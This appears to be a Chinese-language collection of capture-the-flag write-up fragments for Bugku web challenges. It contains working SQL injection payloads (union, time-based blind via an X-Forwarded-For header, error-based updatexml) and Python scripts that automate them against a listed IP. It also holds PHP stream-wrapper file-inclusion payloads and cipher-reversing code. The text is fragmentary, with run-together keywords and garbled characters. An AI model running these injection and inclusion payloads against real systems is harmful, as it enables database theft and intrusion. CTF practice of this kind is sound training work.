1' order by 4 # -1' union select 1,2,3,4 # -1' union select 1,2,3,table_name from information_schema.tables where table_schema=database() # -1' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g' # -1' union select 1,2,3,(select skctf_flag from fl4g) #
(1)先抓包,在返回头里有一串base64,解码得一句话:跑的还不错,给你flag吧: NDE5NzA1,很显然这肯定不是最终结果。 (2)查看源码,发现注释里也有一句话:OK ,now you have to post the margin what you find,意思,意思就是让你把刚刚发现得东西用post传给margin (3)但是发现其实刚刚抓包得到得一串字符每次都不一样,再结合题目“速度要快”,看来也是要写脚本,将得到的字符串,立刻再传过去。
s = requests.Session() for line inrange(30): payload = {'line':line, 'filename':'aW5kZXgucGhw'} # 这里filename为index.php的base64编码 print(s.get(url, params=payload).text)
var Words ="<script>window.location.href='http://www.bugku.com';</script> <!--";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!"and$id==0andstrlen($b)>5anderegi("111".substr($b,0,1),"1114") andsubstr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print"never never never give up !!!"; }
?>-->" function OutWord() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } OutWord();
(3)紧接着进行代码审计,关键是要传参满足下面这些条件:
1.$data=="bugku is a nice plateform!"
2.$id==0
3.strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4
第一个条件:根据前面的$data = @file_get_contents($a,'r')判断是文件包含,包含的文件里要有bugku is a nice plateform!,可以利用php://input伪协议即可,不了解的可以参考:CTF中文件包含漏洞总结 构造的payload为:?a=php://input,并再post里传入:bugku is a nice plateform!
因此综上所述,最终构造的payload为:?id=qwe&a=php://input&b=.1234567,并且在post里传入:bugku is a nice plateform! 这里直接用浏览器的话,会看到flag一闪而过,可以用burpsuite抓包就行了。
welcome to bugku
(1)先看源码,看到注释里给了一段代码:
用到了php://input和php://filte伪协议,不清楚的可以看我之前一篇文章:CTF中文件包含漏洞总结 构造的payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php,并在post里传入:welcome to the bugkuctf,得到一段base64
url = 'http://123.206.87.240:8002/web15/' s = requests.Session() dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}_' flag = ''
for i inrange(1,50): for j in dic: #依次使用下面四个payload即可得到flag
#爆库名(可以省略,直接用下面三个就可以) #payload = f"1'+(case when (substr(database() from {i} for 1)='{j}') then sleep(4) else 1 end))#" #爆表名 #payload = f"1'+(case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {i} for 1)='{j}') then sleep(4) else 1 end))#"
#爆列名 #payload = f"1'+(case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {i} for 1)='{j}') then sleep(4) else 1 end))#" #爆字段 payload = f"1'+(case when (substr((select binary group_concat(flag) from flag) from {i} for 1)='{j}') then sleep(4) else 1 end))#" headers = {'x-forwarded-for':payload} try: r = requests.get(url,headers=headers,timeout=3) except requests.exceptions.ReadTimeout: flag += j print(flag) break
s = requests.Session() url = 'http://123.206.87.240:9004/Once_More.php' payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}_'
#过滤了union和substr flag = '' for i inrange(1,50): for j in payloads: # 依次跑下面三个payload # 表名 #payload = f"?id=1' and mid((select binary group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{j}'--+" # 字段名 #payload = f"?id=1' and mid((select binary group_concat(column_name) from information_schema.columns where table_name='flag2'),{i},1)='{j}'--+"
# 字段 payload = f"?id=1' and mid((select binary group_concat(flag2) from flag2),{i},1)='{j}'--+" # 这里通过加入binary来区分大小写,因为flag中大小写都可能包含 if'Nobody'notin s.get(url+payload).text: flag += j break print(flag)
# 表名 ?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
# 字段名 ?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
# 字段值 ?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
'''用python重写后的加密方法 def eccrypt(data): key = hashlib.md5('ISCC').hexdigest() # print 'key-->', key x = 0 char = '' data_len = len(data) # data的长度 key_len = len(key) # key的长度 for i in range(data_len): if x == key_len: x = 0 char += key[x] x += 1 # print 'char-->', char flag = '' for i in range(data_len): flag += chr((ord(data[i]))+(ord(char[i])) % 128) # print 'flag-->', flag return base64.b64encode(flag) '''
defdetrcy(b64): int_b64 = [] b64de = base64.b64decode(b64) # print 'b64de-->', b64de # print 'len_b64de-->', len(b64de) for i inrange(len(b64de)): int_b64.append(ord(b64de[i])) # print 'int_b64-->',int_b64 # print 'len_int_b64-->', len(int_b64) key = '729623334f0aa2784a1599fd374c120d729623'# 知道data的长度后直接写出来 int_key = [] for i inrange(len(key)): int_key.append(ord(key[i])) # print 'int_key-->', int_key flag = '' for i inrange(len(int_b64)): flag += chr((int_b64[i]-int_key[i]+128) % 128) print flag
functiongetCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(name) == 0) return c.substring(name.length, c.length) } return"" }
functiondecode_create(temp) { var base = newBase64(); var result = base.decode(temp); var result3 = ""; for (i = 0; i < result.length; i++) { var num = result[i].charCodeAt(); num = num ^ i; num = num - ((i % 10) + 2); result3 += String.fromCharCode(num) } return result3 }
functionertqwe() { var temp_name = "user"; var temp = getCookie(temp_name); temp = decodeURIComponent(temp); var mingwen = decode_create(temp); var ca = mingwen.split(';'); var key = ""; for (i = 0; i < ca.length; i++) { if (-1 < ca[i].indexOf("flag")) { key = ca[i + 1].split(":")[2] } } key = key.replace('"', "").replace('"', ""); document.write('<img id="attack-1" src="image/1-1.jpg">'); setTimeout(function () { document.getElementById("attack-1").src = "image/1-2.jpg" }, 1000); setTimeout(function () { document.getElementById("attack-1").src = "image/1-3.jpg" }, 2000); setTimeout(function () { document.getElementById("attack-1").src = "image/1-4.jpg" }, 3000); setTimeout(function () { document.getElementById("attack-1").src = "image/6.png" }, 4000); setTimeout(function () { alert("浣犱娇鐢ㄥ鏉ョ鎺屾墦璐ヤ簡钂欒€侀瓟锛屼絾涓嶇煡閬撴槸鐪熻韩杩樻槸鍋囪韩锛屾彁浜よ瘯涓€涓嬪惂!flag{" + md5(key) + "}") }, 5000) }
functionencode_create(temp) { var result = ""; for (i = 0; i < temp.length; i++) { var num = temp.charCodeAt(i); num = num + ((i % 10) + 2); num = num ^ i; result += String.fromCharCode(num); } var base = newBase64(); var result2 = base.encode(result); return result2; }